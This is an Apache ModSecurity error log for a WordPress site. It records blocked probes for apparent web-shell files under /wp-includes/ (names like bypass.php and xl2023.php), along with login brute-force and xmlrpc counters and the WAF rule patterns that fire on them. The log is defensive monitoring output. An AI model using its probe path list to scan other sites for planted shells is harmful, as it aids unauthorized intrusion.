[Thu Apr 09 14:25:51.759082 2026] [:error] [pid 24624:tid 24646] [client 45.95.243.17:27103] [client 45.95.243.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "addGb-4Jn-WvK1ZBTvh5TQAAANQ"]
[Thu Apr 09 14:25:54.095995 2026] [:error] [pid 24516:tid 24569] [client 45.95.243.41:30597] [client 45.95.243.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "addGcthW7vSS-UkeWCX2BAAAAFY"]
[Thu Apr 09 14:25:57.679568 2026] [:error] [pid 24927:tid 24942] [client 45.95.243.20:44525] [client 45.95.243.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/defaults.php"] [unique_id "addGdTXObuzEuw8mNJtxAQAAAQw"]
[Thu Apr 09 14:25:59.986426 2026] [:error] [pid 24624:tid 24650] [client 45.95.243.18:60293] [client 45.95.243.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/index.php"] [unique_id "addGd-4Jn-WvK1ZBTvh5XgAAANg"]
[Thu Apr 09 14:26:06.483856 2026] [:error] [pid 24515:tid 24528] [client 45.95.243.38:39293] [client 45.95.243.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "addGfq1OMnvM2fMnB1M4GwAAAAk"]
[Thu Apr 09 14:26:08.781558 2026] [:error] [pid 24517:tid 24592] [client 45.95.243.38:24939] [client 45.95.243.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "addGgHboYEn2ZFM_PS9HegAAAJI"]
[Thu Apr 09 14:26:11.033270 2026] [:error] [pid 24516:tid 24566] [client 45.95.243.32:37581] [client 45.95.243.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/index.php"] [unique_id "addGg9hW7vSS-UkeWCX2LwAAAFM"]
[Thu Apr 09 14:26:11.751287 2026] [:error] [pid 24927:tid 24939] [client 45.95.243.49:62461] [client 45.95.243.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "addGgzXObuzEuw8mNJtxDgAAAQk"]
[Thu Apr 09 14:26:12.374453 2026] [:error] [pid 24624:tid 24635] [client 45.95.243.43:41489] [client 45.95.243.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php"] [unique_id "addGhO4Jn-WvK1ZBTvh5bwAAAMk"]
[Thu Apr 09 14:26:17.105912 2026] [:error] [pid 24927:tid 24942] [client 45.95.243.35:39585] [client 45.95.243.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/info.php"] [unique_id "addGiTXObuzEuw8mNJtxFgAAAQw"]
[Thu Apr 09 14:26:17.743687 2026] [:error] [pid 24515:tid 24530] [client 45.95.243.5:21663] [client 45.95.243.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class.api.php"] [unique_id "addGia1OMnvM2fMnB1M4IgAAAAs"]
[Thu Apr 09 14:26:18.407179 2026] [:error] [pid 24624:tid 24648] [client 45.95.243.47:21913] [client 45.95.243.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/index.php"] [unique_id "addGiu4Jn-WvK1ZBTvh5cwAAANY"]
[Thu Apr 09 14:26:29.141311 2026] [:error] [pid 24517:tid 24594] [client 45.95.243.38:46953] [client 45.95.243.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/admin.php"] [unique_id "addGlXboYEn2ZFM_PS9HnAAAAJQ"]
[Thu Apr 09 14:26:33.891024 2026] [:error] [pid 24624:tid 24634] [client 45.95.243.12:23853] [client 45.95.243.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.95.243.12, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-login.php"] [unique_id "addGme4Jn-WvK1ZBTvh5nAAAAMg"]
[Thu Apr 09 14:26:49.490760 2026] [:error] [pid 24624:tid 24636] [client 45.95.243.12:23853] [client 45.95.243.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/about.php"] [unique_id "addGqe4Jn-WvK1ZBTvh5yQAAAMo"]
[Thu Apr 09 14:26:52.770099 2026] [:error] [pid 24516:tid 24565] [client 146.19.130.113:55102] [client 146.19.130.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.19.130.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addGrNhW7vSS-UkeWCX2WAAAAFI"]
[Thu Apr 09 14:26:53.136091 2026] [:error] [pid 24624:tid 24647] [client 45.95.243.38:42265] [client 45.95.243.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.95.243.38, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/wp-login.php"] [unique_id "addGre4Jn-WvK1ZBTvh50AAAANU"]
[Thu Apr 09 14:26:55.552150 2026] [:error] [pid 24624:tid 24632] [client 45.95.243.38:42265] [client 45.95.243.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/item.php"] [unique_id "addGr-4Jn-WvK1ZBTvh50gAAAMY"]
[Thu Apr 09 14:27:06.314952 2026] [:error] [pid 24517:tid 24578] [client 45.95.243.23:30141] [client 45.95.243.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/husky301.php"] [unique_id "addGunboYEn2ZFM_PS9HyAAAAIQ"]
[Thu Apr 09 14:27:13.123669 2026] [:error] [pid 24624:tid 24643] [client 104.248.23.4:39438] [client 104.248.23.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.248.23.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addGwe4Jn-WvK1ZBTvh54wAAANE"]
[Thu Apr 09 14:27:17.369495 2026] [:error] [pid 24927:tid 24940] [client 45.95.243.29:60361] [client 45.95.243.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "addGxTXObuzEuw8mNJtxgAAAAQo"]
[Thu Apr 09 14:27:20.977747 2026] [:error] [pid 24515:tid 24525] [client 45.95.243.10:32329] [client 45.95.243.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/classwithtostring.php"] [unique_id "addGyK1OMnvM2fMnB1M4awAAAAY"]
[Thu Apr 09 14:27:25.887107 2026] [:error] [pid 24927:tid 24936] [client 45.95.243.14:55365] [client 45.95.243.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.95.243.14, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-login.php"] [unique_id "addGzTXObuzEuw8mNJtxkgAAAQY"]
[Thu Apr 09 14:27:27.111529 2026] [:error] [pid 24927:tid 24947] [client 45.95.243.14:55365] [client 45.95.243.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "addGzzXObuzEuw8mNJtxlgAAARE"]
[Thu Apr 09 14:27:49.209035 2026] [:error] [pid 24624:tid 24645] [client 45.95.243.29:62345] [client 45.95.243.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "addG5e4Jn-WvK1ZBTvh6EAAAANM"]
[Thu Apr 09 14:27:55.820742 2026] [:error] [pid 24624:tid 24626] [client 45.95.243.27:20159] [client 45.95.243.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.95.243.27, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "addG6-4Jn-WvK1ZBTvh6GQAAAMA"]
[Thu Apr 09 14:28:00.840913 2026] [:error] [pid 24624:tid 24640] [client 45.95.243.27:20159] [client 45.95.243.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/about.php"] [unique_id "addG8O4Jn-WvK1ZBTvh6KQAAAM4"]
[Thu Apr 09 14:28:04.183048 2026] [:error] [pid 24516:tid 24551] [client 45.95.243.161:45331] [client 45.95.243.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/infi.php"] [unique_id "addG9NhW7vSS-UkeWCX2nQAAAEQ"]
[Thu Apr 09 14:28:07.543496 2026] [:error] [pid 24927:tid 24954] [client 45.95.243.26:48723] [client 45.95.243.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/index.php"] [unique_id "addG9zXObuzEuw8mNJtyHwAAARg"]
[Thu Apr 09 14:28:12.204440 2026] [:error] [pid 24927:tid 24941] [client 45.95.243.18:64653] [client 45.95.243.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/about.php"] [unique_id "addG_DXObuzEuw8mNJtyJQAAAQs"]
[Thu Apr 09 14:28:12.762148 2026] [:error] [pid 24624:tid 24639] [client 45.95.243.8:24495] [client 45.95.243.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/index.php"] [unique_id "addG_O4Jn-WvK1ZBTvh6MQAAAM0"]
[Thu Apr 09 14:28:19.636590 2026] [:error] [pid 24517:tid 24581] [client 45.95.243.7:51717] [client 45.95.243.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "addHA3boYEn2ZFM_PS9H_AAAAIc"]
[Thu Apr 09 14:28:21.914589 2026] [:error] [pid 24516:tid 24547] [client 45.95.243.5:37335] [client 45.95.243.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/about.php"] [unique_id "addHBdhW7vSS-UkeWCX2pAAAAEA"]
[Thu Apr 09 14:28:26.467661 2026] [:error] [pid 24517:tid 24579] [client 45.95.243.9:53259] [client 45.95.243.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/edit.php"] [unique_id "addHCnboYEn2ZFM_PS9IAgAAAIU"]
[Thu Apr 09 14:28:31.153515 2026] [:error] [pid 24624:tid 24649] [client 45.95.243.41:60429] [client 45.95.243.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "addHD-4Jn-WvK1ZBTvh6RAAAANc"]
[Thu Apr 09 14:28:34.663427 2026] [:error] [pid 24516:tid 24557] [client 45.95.243.39:33319] [client 45.95.243.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/click.php"] [unique_id "addHEthW7vSS-UkeWCX2rAAAAEo"]
[Thu Apr 09 14:28:39.502891 2026] [:error] [pid 24516:tid 24547] [client 45.95.243.14:65451] [client 45.95.243.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "addHF9hW7vSS-UkeWCX2swAAAEA"]
[Thu Apr 09 14:28:50.502939 2026] [:error] [pid 24927:tid 24952] [client 45.95.243.14:30737] [client 45.95.243.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "addHIjXObuzEuw8mNJtyYwAAARY"]
[Thu Apr 09 14:28:51.078860 2026] [:error] [pid 24516:tid 24568] [client 45.95.243.14:26687] [client 45.95.243.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/xl2023.php"] [unique_id "addHI9hW7vSS-UkeWCX2uAAAAFU"]
[Thu Apr 09 14:28:51.645483 2026] [:error] [pid 24624:tid 24647] [client 45.95.243.49:39559] [client 45.95.243.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/admin.php"] [unique_id "addHI-4Jn-WvK1ZBTvh6XAAAANU"]
[Thu Apr 09 14:28:52.208097 2026] [:error] [pid 24624:tid 24639] [client 45.95.243.18:52819] [client 45.95.243.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/dog.php"] [unique_id "addHJO4Jn-WvK1ZBTvh6YQAAAM0"]
[Thu Apr 09 14:28:54.517450 2026] [:error] [pid 24517:tid 24581] [client 45.95.243.26:52969] [client 45.95.243.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "addHJnboYEn2ZFM_PS9IFQAAAIc"]
[Thu Apr 09 14:28:55.081974 2026] [:error] [pid 24927:tid 24931] [client 45.95.243.38:51763] [client 45.95.243.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/index.php"] [unique_id "addHJzXObuzEuw8mNJtyZQAAAQE"]
[Thu Apr 09 14:28:58.674383 2026] [:error] [pid 24624:tid 24643] [client 45.95.243.24:56837] [client 45.95.243.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "addHKu4Jn-WvK1ZBTvh6cAAAANE"]
[Thu Apr 09 14:28:59.310960 2026] [:error] [pid 24624:tid 24628] [client 45.95.243.34:27215] [client 45.95.243.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/index.php"] [unique_id "addHK-4Jn-WvK1ZBTvh6cQAAAMI"]
[Thu Apr 09 14:28:59.939029 2026] [:error] [pid 24927:tid 24932] [client 45.95.243.49:41175] [client 45.95.243.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/admin.php"] [unique_id "addHKzXObuzEuw8mNJtybwAAAQI"]
[Thu Apr 09 14:29:00.544550 2026] [:error] [pid 24927:tid 24938] [client 45.95.243.45:51353] [client 45.95.243.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/security.php"] [unique_id "addHLDXObuzEuw8mNJtycAAAAQg"]
[Thu Apr 09 14:29:00.648510 2026] [:error] [pid 24624:tid 24639] [client 119.28.177.175:53212] [client 119.28.177.175] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "addHLO4Jn-WvK1ZBTvh6dQAAAM0"]
[Thu Apr 09 14:29:03.030167 2026] [:error] [pid 24517:tid 24583] [client 45.95.243.45:43157] [client 45.95.243.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "addHL3boYEn2ZFM_PS9IGQAAAIk"]
[Thu Apr 09 14:29:06.545580 2026] [:error] [pid 24515:tid 24521] [client 45.95.243.30:64079] [client 45.95.243.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/about.php"] [unique_id "addHMq1OMnvM2fMnB1M41AAAAAI"]
[Thu Apr 09 14:29:13.695124 2026] [:error] [pid 24927:tid 24941] [client 45.95.243.5:23927] [client 45.95.243.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "addHOTXObuzEuw8mNJtyhQAAAQs"]
[Thu Apr 09 14:29:23.356726 2026] [:error] [pid 24927:tid 24942] [client 45.95.243.37:58277] [client 45.95.243.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/file.php"] [unique_id "addHQzXObuzEuw8mNJtylwAAAQw"]
